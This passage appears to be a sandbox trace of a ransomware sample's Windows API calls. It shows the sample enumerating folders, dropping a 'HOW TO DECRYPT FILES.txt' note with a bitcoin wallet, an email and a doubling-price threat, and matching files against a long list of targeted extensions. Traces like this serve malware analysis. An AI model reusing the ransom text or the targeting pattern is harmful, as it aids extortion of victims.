ftLastAccessTime.dwHighDateTime=0x1d5e7b4, ftLastWriteTime.dwLowDateTime=0xfdceb690, ftLastWriteTime.dwHighDateTime=0x1d5e7b4, nFileSizeHigh=0x0, nFileSizeLow=0x434f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4bfycQmTs1IbqJuE.avi", cAlternateFileName="4BFYCQ~1.AVI")) returned 1 [0091.579] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0091.579] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="4bfycQmTs1IbqJuE.avi") returned 1 [0091.579] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="4bfycQmTs1IbqJuE.avi") returned 1 [0091.579] lstrcmpiA (lpString1="", lpString2="4bfycQmTs1IbqJuE.avi") returned -1 [0091.579] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\*.*") returned="*.*" [0091.579] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\" [0091.579] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\") returned="" [0091.579] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\HOW TO DECRYPT FILES.txt" [0091.579] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\pdcdsh\\d7bhqy6zuojf51iofgeu\\how to decrypt files.txt")) returned 0xffffffff [0091.579] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\pdcdsh\\d7bhqy6zuojf51iofgeu\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0091.726] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0091.726] WriteFile (in: hFile=0xa0, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0091.728] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.728] CloseHandle (hObject=0xa0) returned 1 [0091.728] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\", lpString2="4bfycQmTs1IbqJuE.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi" [0091.728] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.ems") returned 0 [0091.728] lstrlenA (lpString="*.ems") returned 5 [0091.728] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.db") returned 0 [0091.728] lstrlenA (lpString="*.db") returned 4 [0091.729] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.dbf") returned 0 [0091.729] lstrlenA (lpString="*.dbf") returned 5 [0091.729] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.myox") returned 0 [0091.729] lstrlenA (lpString="*.myox") returned 6 [0091.729] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.myo") returned 0 [0091.729] lstrlenA (lpString="*.myo") returned 5 [0091.729] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.qbw") returned 0 [0091.729] lstrlenA (lpString="*.qbw") returned 5 [0091.729] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.qbb") returned 0 [0091.729] lstrlenA (lpString="*.qbb") returned 5 [0091.729] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.qbm") returned 0 [0091.729] lstrlenA (lpString="*.qbm") returned 5 [0091.729] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.qbo") returned 0 [0091.729] lstrlenA (lpString="*.qbo") returned 5 [0091.729] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.qbx") returned 0 [0091.729] lstrlenA (lpString="*.qbx") returned 5 [0091.729] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.qba") returned 0 [0091.729] lstrlenA (lpString="*.qba") returned 5 [0091.729] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.qby") returned 0 [0091.730] lstrlenA (lpString="*.qby") returned 5 [0091.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.qbj") returned 0 [0091.730] lstrlenA (lpString="*.qbj") returned 5 [0091.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.ofx") returned 0 [0091.730] lstrlenA (lpString="*.ofx") returned 5 [0091.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.qif") returned 0 [0091.730] lstrlenA (lpString="*.qif") returned 5 [0091.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.mye") returned 0 [0091.730] lstrlenA (lpString="*.mye") returned 5 [0091.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.mbox") returned 0 [0091.730] lstrlenA (lpString="*.mbox") returned 6 [0091.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.eml") returned 0 [0091.730] lstrlenA (lpString="*.eml") returned 5 [0091.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.pst") returned 0 [0091.730] lstrlenA (lpString="*.pst") returned 5 [0091.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.ost") returned 0 [0091.730] lstrlenA (lpString="*.ost") returned 5 [0091.730] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.idx") returned 0 [0091.730] lstrlenA (lpString="*.idx") returned 5 [0091.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.dbx") returned 0 [0091.731] lstrlenA (lpString="*.dbx") returned 5 [0091.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.sql") returned 0 [0091.731] lstrlenA (lpString="*.sql") returned 5 [0091.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.mdb") returned 0 [0091.731] lstrlenA (lpString="*.mdb") returned 5 [0091.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.fdb") returned 0 [0091.731] lstrlenA (lpString="*.fdb") returned 5 [0091.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.wab") returned 0 [0091.731] lstrlenA (lpString="*.wab") returned 5 [0091.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.dat") returned 0 [0091.731] lstrlenA (lpString="*.dat") returned 5 [0091.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.txt") returned 0 [0091.731] lstrlenA (lpString="*.txt") returned 5 [0091.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.jpeg") returned 0 [0091.731] lstrlenA (lpString="*.jpeg") returned 6 [0091.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.jpg") returned 0 [0091.731] lstrlenA (lpString="*.jpg") returned 5 [0091.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.png") returned 0 [0091.731] lstrlenA (lpString="*.png") returned 5 [0091.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.php") returned 0 [0091.732] lstrlenA (lpString="*.php") returned 5 [0091.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.cs") returned 0 [0091.732] lstrlenA (lpString="*.cs") returned 4 [0091.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.cpp") returned 0 [0091.732] lstrlenA (lpString="*.cpp") returned 5 [0091.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.rar") returned 0 [0091.732] lstrlenA (lpString="*.rar") returned 5 [0091.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.zip") returned 0 [0091.732] lstrlenA (lpString="*.zip") returned 5 [0091.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.html") returned 0 [0091.732] lstrlenA (lpString="*.html") returned 6 [0091.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.htm") returned 0 [0091.732] lstrlenA (lpString="*.htm") returned 5 [0091.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.xlsx") returned 0 [0091.732] lstrlenA (lpString="*.xlsx") returned 6 [0091.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.xls") returned 0 [0091.733] lstrlenA (lpString="*.xls") returned 5 [0091.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.mp4") returned 0 [0091.733] lstrlenA (lpString="*.mp4") returned 5 [0091.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.ppt") returned 0 [0091.733] lstrlenA (lpString="*.ppt") returned 5 [0091.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.pptx") returned 0 [0091.733] lstrlenA (lpString="*.pptx") returned 6 [0091.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.doc") returned 0 [0091.733] lstrlenA (lpString="*.doc") returned 5 [0091.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.dot") returned 0 [0091.733] lstrlenA (lpString="*.dot") returned 5 [0091.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.docx") returned 0 [0091.733] lstrlenA (lpString="*.docx") returned 6 [0091.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.7z") returned 0 [0091.733] lstrlenA (lpString="*.7z") returned 4 [0091.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.tar") returned 0 [0091.733] lstrlenA (lpString="*.tar") returned 5 [0091.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.bz2") returned 0 [0091.733] lstrlenA (lpString="*.bz2") returned 5 [0091.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.gz") returned 0 [0091.734] lstrlenA (lpString="*.gz") returned 4 [0091.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x 